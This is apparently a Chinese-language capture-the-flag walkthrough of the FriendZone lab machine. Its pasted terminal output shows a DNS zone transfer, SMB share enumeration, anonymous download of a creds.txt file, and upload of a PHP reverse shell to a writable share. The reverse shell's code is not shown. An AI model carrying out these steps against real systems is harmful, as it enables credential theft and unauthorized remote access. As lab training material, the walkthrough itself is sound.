Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 74.43 seconds
; <<>> DiG 9.19.17-2~kali1-Kali <<>> axfr friendzone.red @10.10.10.123 ;; global options: +cmd friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 friendzone.red. 604800 IN AAAA ::1 friendzone.red. 604800 IN NS localhost. friendzone.red. 604800 IN A 127.0.0.1 administrator1.friendzone.red. 604800 IN A 127.0.0.1 hr.friendzone.red. 604800 IN A 127.0.0.1 uploads.friendzone.red. 604800 IN A 127.0.0.1 friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 ;; Query time: 292 msec ;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP) ;; WHEN: Wed Dec 06 23:52:36 CST 2023 ;; XFR size: 8 records (messages 1, bytes 289
4、smb目录枚举
1 2 3 4 5 6 7 8 9
┌──(kali㉿kali-linux-2022-2)-[~/Desktop] └─$ enum4linux 10.10.10.123 Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Dec 6 23:53:15 2023
[+] Attempting to map shares on 10.10.10.123 //10.10.10.123/print$ Mapping: DENIED Listing: N/A Writing: N/A //10.10.10.123/Files Mapping: DENIED Listing: N/A Writing: N/A //10.10.10.123/general Mapping: OK Listing: OK Writing: N/A //10.10.10.123/Development Mapping: OK Listing: OK Writing: N/A
5、获取账号密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(kali㉿kali-linux-2022-2)-[~] └─$ smbclient -N \\\\10.10.10.123\\general Try "help"togeta list of possible commands. smb: \> dir . D 0 Thu Jan 1704:10:512019 .. D 0 Tue Sep 1322:56:242022 creds.txt N 57 Wed Oct 1007:52:422018 get 3545824 blocks of size 1024.1651384 blocks available smb: \> get creds.txt getting file \creds.txt of size 57as creds.txt (0.0 KiloBytes/sec) (average0.0 KiloBytes/sec) smb: \>
Host script results: | smb-enum-shares: | account_used: guest | \\10.10.10.123\Development: | Type: STYPE_DISKTREE | Comment: FriendZone Samba Server Files | Users: 0 | Max Users: <unlimited> | Path: C:\etc\Development | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.10.10.123\Files: | Type: STYPE_DISKTREE | Comment: FriendZone Samba Server Files /etc/Files | Users: 0 | Max Users: <unlimited> | Path: C:\etc\hole | Anonymous access: <none> | Current user access: <none> | \\10.10.10.123\IPC$: | Type: STYPE_IPC_HIDDEN | Comment: IPC Service (FriendZone server (Samba, Ubuntu)) | Users: 2 | Max Users: <unlimited> | Path: C:\tmp | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.10.10.123\general: | Type: STYPE_DISKTREE | Comment: FriendZone Samba Server Files | Users: 1 | Max Users: <unlimited> | Path: C:\etc\general | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.10.10.123\print$: | Type: STYPE_DISKTREE | Comment: Printer Drivers | Users: 0 | Max Users: <unlimited> | Path: C:\var\lib\samba\printers | Anonymous access: <none> |_ Current user access: <none>
10、使用在可读可写的SMB文件里put上我们的木马
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(kali㉿kali-linux-2022-2)-[~/Desktop/test] └─$ smbclient \\\\10.10.10.123\\Development Password for [WORKGROUP\kali]: Try "help" to get a list of possible commands. smb: \> put php-reverse-shell.php putting file php-reverse-shell.php as \php-reverse-shell.php (6.3 kb/s) (average 6.3 kb/s) smb: \> dir . D 0 Thu Dec 7 00:05:14 2023 .. D 0 Tue Sep 13 22:56:24 2022 php-reverse-shell.php A 5493 Thu Dec 7 00:08:14 2023
3545824 blocks of size 1024. 1651372 blocks available smb: \>